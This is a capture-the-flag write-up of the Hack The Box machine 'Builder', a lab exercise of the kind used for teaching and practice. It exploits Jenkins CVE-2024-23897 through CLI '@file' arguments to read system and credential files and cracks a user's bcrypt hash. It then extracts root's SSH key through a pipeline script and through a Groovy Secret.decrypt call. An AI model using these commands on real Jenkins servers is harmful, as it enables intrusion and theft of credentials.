Hack The Box - Builder

August 29, 2024

Builder

Builder is a Linux machine running a version of Jenkins with an arbitrary file read vulnerability via the CLI (CVE-2024-23897). This vulnerability can be exploited to extract a password hash for a user, which can then be cracked to gain access to the Jenkins instance. Privilege escalation can be achieved in two ways: first, by exposing the root SSH key through a pipeline script, and second, by decrypting an SSH key stored in the global credentials. The retrieved key allows SSH login as root.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.10    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 10:04 EDT
Nmap scan report for 10.10.11.10
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(10.0.18)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds

I visited the Jenkins instance at http://10.10.11.10:8080:

default Jenkins page

As shown in the bottom right of the page above, the installed version is Jenkins 2.441. According to this security advisory from Jenkins, version 2.441 is affected by CVE-2024-23897, an arbitrary file read vulnerability through the CLI that can lead to RCE.

The security advisory notes that Jenkins uses the args4j library to handle CLI command arguments, which includes a feature that replaces an @ followed by a file path with the file's contents. This feature is enabled by default and remains active in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.

So next, I needed to get the CLI client. The Jenkins documentation here states that it can be downloaded directly from the Jenkins controller at the URL JENKINS_URL/jnlpJars/jenkins-cli.jar:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ wget 10.10.11.10:8080/jnlpJars/jenkins-cli.jar
--2024-08-26 10:07:49--  http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.10.11.10:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’

jenkins-cli.jar        100%[=========================>]   3.46M  2.03MB/s    in 1.7s    

2024-08-26 10:07:50 (2.03 MB/s) - ‘jenkins-cli.jar’ saved [3623400/3623400]

Once jenkins-cli.jar was downloaded, running help listed the available commands:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
  add-job-to-view
    Adds jobs to view.
  build
    Builds a job, and optionally waits until its completion.
  cancel-quiet-down
    Cancel the effect of the "quiet-down" command.
  clear-queue
    Clears the build queue.
  connect-node
    Reconnect to a node(s)
  console
    Retrieves console output of a build.
  <...snip...>
  who-am-i
    Reports your credential and permissions.

For example, who-am-i showed that I was authenticated as anonymous:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 who-am-i
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Authenticated as: anonymous
Authorities:
  anonymous

To exploit the arbitrary file read vulnerability, I used the help command followed by '@/etc/passwd' which revealed the first line of /etc/passwd:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/etc/passwd'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

I could view environment variables by reading /proc/self/environ:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/proc/self/environ'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

<...snip...>

ERROR: No such command HOSTNAME=0f52c222a4ccJENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimentalJAVA_HOME=/opt/java/openjdkJENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementalsCOPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.logPWD=/JENKINS_SLAVE_AGENT_PORT=50000JENKINS_VERSION=2.441HOME=/var/jenkins_homeLANG=C.UTF-8JENKINS_UC=https://updates.jenkins.ioSHLVL=0JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/refPATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. Available commands are above. 

In the above output, the HOME and JENKINS_HOME environment variables were set to /var/jenkins_home.

Jenkins stores basic user information such as usernames and the corresponding directory names in $JENKINS_HOME/users/users.xml. So in this case, it was /var/jenkins_home/users/users.xml, however, only the first line was printed when trying to read the file with the help command:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/var/jenkins_home/users/users.xml'  
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: <hudson.model.UserIdMapper>
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: <?xml version='1.1' encoding='UTF-8'?>)

After trying some different commands, I found that connect-node printed several more lines, revealing the directory name jennifer_12108429903186576833 for the user jennifer:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/users.xml' 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

Within Jenkins, more detailed user data could be found in $JENKINS_HOME/users/<user_directory_name>/config.xml. So I used the connect-node command to read /var/jenkins_home/users/jennifer_12108429903186576833/config.xml which contained a password hash:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<...snip...>
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
  <fullName>jennifer</fullName>: No such agent "  <fullName>jennifer</fullName>" exists.
      <seed>6841d11dc1de101d</seed>: No such agent "      <seed>6841d11dc1de101d</seed>" exists.
  <id>jennifer</id>: No such agent "  <id>jennifer</id>" exists.
  <version>10</version>: No such agent "  <version>10</version>" exists.
      <tokenStore>: No such agent "      <tokenStore>" exists.
          <filterExecutors>false</filterExecutors>: No such agent "          <filterExecutors>false</filterExecutors>" exists.
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent "    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

I used JtR to crack the password:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (#jbcrypt)     
1g 0:00:00:00 DONE (2024-08-26 10:11) 3.125g/s 112.5p/s 112.5c/s 112.5C/s 123456..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

With the credentials, I signed in to the Jenkins instance as the user jennifer:

log in to Jenkins

There are two ways to escalate privileges on this machine, one is by revealing the private SSH key for root through a pipeline script, and the other is decrypting the private SSH key for root from the global credentials.

Priv Esc Method: Pipeline Script

An SSH private key credential for root was stored in DashboardManage JenkinsCredentialsSystemGlobal credentials (unrestricted):

Global credentials root user

To check the installed plugins, I went to DashboardManage JenkinsPluginsInstalled Plugins and found SSH Agent Plugin:

Jenkins Installed Plugins

The SSH Agent Plugin is designed to manage the use of SSH credentials within a Jenkins job, allowing for commands to be run over SSH during the build process. This could be leveraged to print the private SSH key for the root user. To do this, first I went to the Dashboard page and created a job:

Create a job

I chose the Pipeline option:

Pipeline

On the configuration page, I added the following Pipeline script:

node {
    stage('SSH') {
        sshagent(['1']) {
            sh 'ssh -o StrictHostKeyChecking=no root@10.10.11.10 "cat /root/.ssh/id_rsa"'
        }
    }
}

Scripted Pipeline

I clicked Save, and on the following page, Build Now:

Build Now

Once the build completed, I clicked on it in Build History:

Build History

Then, I viewed the Console Output:

Build Console Output

The SSH key was printed in the output:

SSH key in Build Console Output

I saved the key as root.key, changed the permissions to 600, and logged in over SSH:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ chmod 600 root.key
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ ssh -i root.key root@10.10.11.10
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

<...snip...>

root@builder:~# whoami
root
Priv Esc Method: Decrypt Key from Global credentials

As shown in the previous method, an SSH private key credential for root was stored in DashboardManage JenkinsCredentialsSystemGlobal credentials (unrestricted). I clicked update:

Global credentials root user

On the Update credentials page, there was a Private Key section with a key that was concealed for confidentiality:

Update Credentials page Private Key

Inspecting the element in dev tools revealed the encrypted key:

encrypted SSH key

I copied the value from the encrypted key above and went to DashboardManage JenkinsScript Console. Then, I used the following Groovy script to decrypt the key:

println(hudson.util.Secret.decrypt("{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}"))

Goovy function to decrypt key

Same as the first method, the key could then be used to log in over SSH.


CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS